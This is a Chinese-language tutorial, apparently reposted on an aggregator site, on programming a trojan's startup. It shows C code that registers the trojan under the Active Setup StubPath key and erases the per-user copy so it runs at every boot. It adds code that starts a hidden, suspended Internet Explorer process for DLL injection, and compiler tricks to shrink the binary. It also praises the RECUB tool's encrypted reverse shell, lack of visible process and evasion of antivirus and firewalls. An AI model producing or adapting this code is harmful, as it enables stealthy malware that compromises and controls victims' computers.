木馬的啟動方式有很多種,現在比較流行的就是注冊為系統服務啟動(只適合Windows?2000以上的系統),或者以驅動的方式啟動。不過,最近以ActiveX方式啟動又比較流行了,因為它適合Windows?9x或2000以上的機器,而且殺毒軟件(比如瑞星、江民、金山等)基本不會去監視這種啟動方式,比較隱蔽。以ActiveX方式啟動的木馬國外的比較多,于是就到網上查找相關代碼,發現了RECUB。?? 其實RECUB是一個Windows平臺的遠程管理工具,其源代碼已經為我們寫的很清楚了,下面簡要介紹一下RECUB。它能對Windows?XP/2000/2003的反向連接Shell進行RC4加密;可以作為IE瀏覽器的實例啟動并注入代碼來繞過防火墻;通過加密的ICMP請求來激活;沒有監聽端口;沒有可見進程,以注入Explorer.exe的方式啟動和退出;可以通過ActiveX啟動;退出Shell的時候沒有事件日志;可以使用?nc得到遠程Shell;EXE文件只有5.39K大小。怎么樣,挺強的吧?下面我們就看一下它的部分代碼,具體如下: ?
//Active啟動原理與代碼 //初始化定義主鍵值 char regkey[MAX_PATH]; //定義服務端當前路徑 char pathexe[MAX_PATH]; //子鍵的定義與初始化 HKEY childkey = 0 ; //獲取我們運行的服務端的當前路徑 GetModuleFileName(NULL,pathexe,MAX_PATH); //注冊主鍵
wsprintf(regkey,"%s%s","Software//Microsoft//Active Setup//Installed Components//",REGKEY); //刪除HKEY_CURRENT_USER相關的啟動信息,這是ActiveX啟動的關鍵 RegDeleteKey(HKEY_CURRENT_USER, ( LPCTSTR )regkey); //創建AxtiveX啟動信息,注冊HKEY_LOCAL_MACHINE RegCreateKey(HKEY_LOCAL_MACHINE, ( LPCTSTR )regkey, &childkey ); //把我們獲取到的當前的路徑復制給主鍵
RegSetValueEx (childkey, ( LPCTSTR )"StubPath" ,0, REG_SZ, ( const BYTE* ) ( LPCTSTR )pathexe,lstrlen(pathexe)) ; //關閉HKEY的對象 RegCloseKey (childkey); 從以上的代碼我們可以清晰地看到,ActiveX啟動其實非常簡單,僅僅是在HKEY_LOCAL_MACHINE下的Software// Microsoft//Active Setup//Installed Components//中注冊一條信息就可以了。這條信息的鍵類似{36f8ec70-c29a-11d1-b5c7-0000f8051515}就可以。其實,我們可以隨便的更改這些數字,只要不重復就可以了,而且我們還可以在這個鍵的下面新增一些子鍵和值(我們服務端的絕對地址)。
在上面的代碼中有一個關鍵代碼RegDeleteKey(HKEY_CURRENT_USER,?(?LPCTSTR?)regkey),其作用是每次啟動的時候清理HKEY_CURRENT_USER里面的信息。因為每當我們啟動服務端的時候,系統都會自動在?HKEY_CURRENT_USER中注冊一些HKEY_LOCAL_MACHINE中的信息,我們必須在程序中刪除這些,否則我們的服務端也只能有一次的自啟動機會。?? 根據上面的介紹,這里我就簡單的寫一段測試代碼以供大家參考。啟動VC,新建一個工程名稱為test的Win32?Application,默認為一個簡單的Win32程序,并假定我們的服務端是在系統目錄system32中的exloroe.exe。其代碼如下:?? #include?"stdafx.h"?? int?APIENTRY?WinMain(HINSTANCE?hInstance,HINSTANCE?hPrevInstance,LPSTR?lpCmdLine,int?nCmdShow)?? {?? ?? HKEY?hKey;?? TCHAR?svExeFile[256]?=?"%SystemRoot%//system32//exloroe.exe";?? RegCreateKey(HKEY_LOCAL_MACHINE,"SOFTWARE//Microsoft//Active?Setup//Installed?Components//{H9I12RB03-AB-B70-7-11d2-9CBD-0O00FS7AH6-9E2121BHJLK}",&hKey);?? RegSetValue(hKey,NULL,REG_SZ,"系統設置",strlen("系統設置"));?? RegSetValueEx(hKey,"stubpath",0,REG_EXPAND_SZ,(BYTE?*)svExeFile,lstrlen(svExeFile));?? RegCloseKey(hKey);?? return?0;?? }?? 這個最簡單的程序就實現了在HKEY_LOCAL_MACHINE中注冊ActiveX的過程。在程序退出的時候,我們可以編寫下面的代碼來清除HKEY_CURRENT_USER中的相關信息,以達到我們的程序啟動的目的。?? ?? CreateThread(NULL,NULL,del,NULL,NULL,NULL);??? DWORD?WINAPI?del(LPVOID?lpParam)?? {?? RegDeleteKey(HKEY_CURRENT_USER,"Software//Microsoft//Active?Setup//Installed?Components//{H9I12RB03-AB-B70-7-11d2-9CBD-0O00FS7AH6-9E2121BHJLK}");??? return?TRUE;?? }?? 下面我們再來看看DLL注入IE的木馬的啟動IE的方式。網上的開源代碼很多,不過80%的注入文件都是explorer.exe,這個雖說比較簡單,但很穩定。說它簡單是因為它默認總是啟動的,就不需要考慮它是否存在的問題。注入IE時,我們首先需要判斷是否有iexplorer.exe的進程,如果沒有,我們就需要找到iexplorer.exe所在的目錄(一般都在C:/Program?Files/Internet?Explorer中,不過還是通過程序搜索最好,畢竟有好多網管把系統裝在其他的盤符之中)。?? 記得自己剛剛寫DLL程序的時候,啟動IE的方式使用下面的代碼:?? WinExec("C://Program?Files//Internet?Explorer//iexplore.exe?-nohome",SW_HIDE);?? 也就是IE的空啟動。用這種方法實現,雖然IE啟動了,而且也挺隱蔽,但啟動時就占用3000K的內存,這個是我們所不能接受的,我們希望程序啟動能盡可能少的占用內存。后來在國外的一個站點上,我發現可以用下面的一種方法來啟動,占用內存極小,其代碼如下: ? //進程information PROCESS_INFORMATION pi = {0}; //啟動信息
STARTUPINFO si = {0};
//存儲信息
ZeroMemory(&si,sizeof(si));
//信息的大小
si.cb = sizeof(si);
//相關信息
si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; //隱藏啟動
si.wShowWindow = SW_HIDE;
//隱藏
pi.hProcess = SW_HIDE;
//啟動的主函數
CreateProcess(
NULL,
//我們暫時就簡單的默認IE在C://Program Files//Internet Explorer//iexplore.exe中
"C://Program Files//Internet Explorer//iexplore.exe",
NULL,
NULL,
0,
CREATE_SUSPENDED,
NULL,
NULL,
&si,
π
);
最后我想說一下VC編譯的優化處理問題。一是使用Release版而不用Debug版編譯,因為使用Debug版編譯會生成許多垃圾信息。使用?Release版編譯的具體方法是在“build(編譯)->Configuration(配置)”中,將“Win32?debug”移去,然后再次編譯,就可以發現文件已經小了很多。二是設置自己的入口點函數。C或C++程序默認的入口函數是main()或WinMain?(),但我們現在不用Main和WinMain,因為這些都不是直接的入口點。編譯器在產生exe文件的時候,將為我們生成真正的入口點。下面我們來定義自己的入口函數,具體方法是把main或WinMain改成其它的名字(如MyFun),打開“Project(工程)->settings(設置)”選項,選中“link”選項卡,在“Category(分類)”下拉列表中選“output”,在“Entry-Point?symbol(輸入項)”中輸入我們剛才定義的入口函數(MyFun),在源程序中也要做相應修改。三是優化最小大小;四是輸出,入口點改為MyDll?(隨便改啦);五是連接,/align:40。?? 有了這些,基本上就能把我們的程序的體積減少很多,但每次這樣的去設置,在編程的時候會很不方便,我們干脆直接寫一個頭文件(my.h),直接調用就少了很多的麻煩。下面是my.h的代碼。 // Version 1.00 // xgym // May 20th, 1999 // [email]xgymcn@163.com[/email] #ifdef NDEBUG #pragma optimize("gsy",on) #pragma comment(linker,"/RELEASE") #ifdef _MERGE_RDATA_ #pragma comment(linker,"/merge:.rdata=.data") #endif #pragma comment(linker,"/merge:.text=.data") #pragma comment(linker,"/merge:.reloc=.data") #if _MSC_VER >= 1000 #endif #endif #pragma comment(linker,"/MERGE:.rdata=.data") #pragma comment(linker,"/MERGE:.text=.data") #pragma comment(lib,"msvcrt.lib") #if (_MSC_VER < 1300) #pragma comment(linker,"/IGNORE:4078") #pragma comment(linker,"/OPT:NOWIN98") #endif #define WIN32_LEAN_AND_MEAN 有了這個頭文件,我們在編寫服務端的時候,為了減少體積,直接“#include "my.h"”就可以了,這樣就少了很多的步驟,而效果卻是一樣的。
RegDeleteKey(HKEY_CURRENT_USER,"Software\\Microsoft\\Active Setup\\Installed Components\\{H9I12RB03-AB-B70-7-11d2-9CBD-0O00FS7AH6-9E2121BHJLK}");
HKEY hKey;
TCHAR svExeFile[256] = "c:\\fffffffff.exe";
RegCreateKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Active Setup\\Installed Components\\{H9I12RB03-AB-B70-7-11d2-9CBD-0O00FS7AH6-9E2121BHJLK}",&hKey);
RegSetValue(hKey,NULL,REG_SZ,"系統設置",strlen("系統設置"));
RegSetValueEx(hKey,"stubpath",0,REG_EXPAND_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
RegCloseKey(hKey);
有疑問,開機我的程序的確運行了,但是同時,由一個小對話框,寫著“個人設置”,而且整個桌面不加載了,只有我?的程序關閉了桌面才會加載,是我哪里么作對么?
回答:估計這種方法確實不關閉程序無法進入Windows,這就體現了注入dll到另一個進程是多麼重要
總結
以上是生活随笔為你收集整理的编程实现木马的ActiveX启动和注入IE的启动方式的全部內容,希望文章能夠幫你解決所遇到的問題。
如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。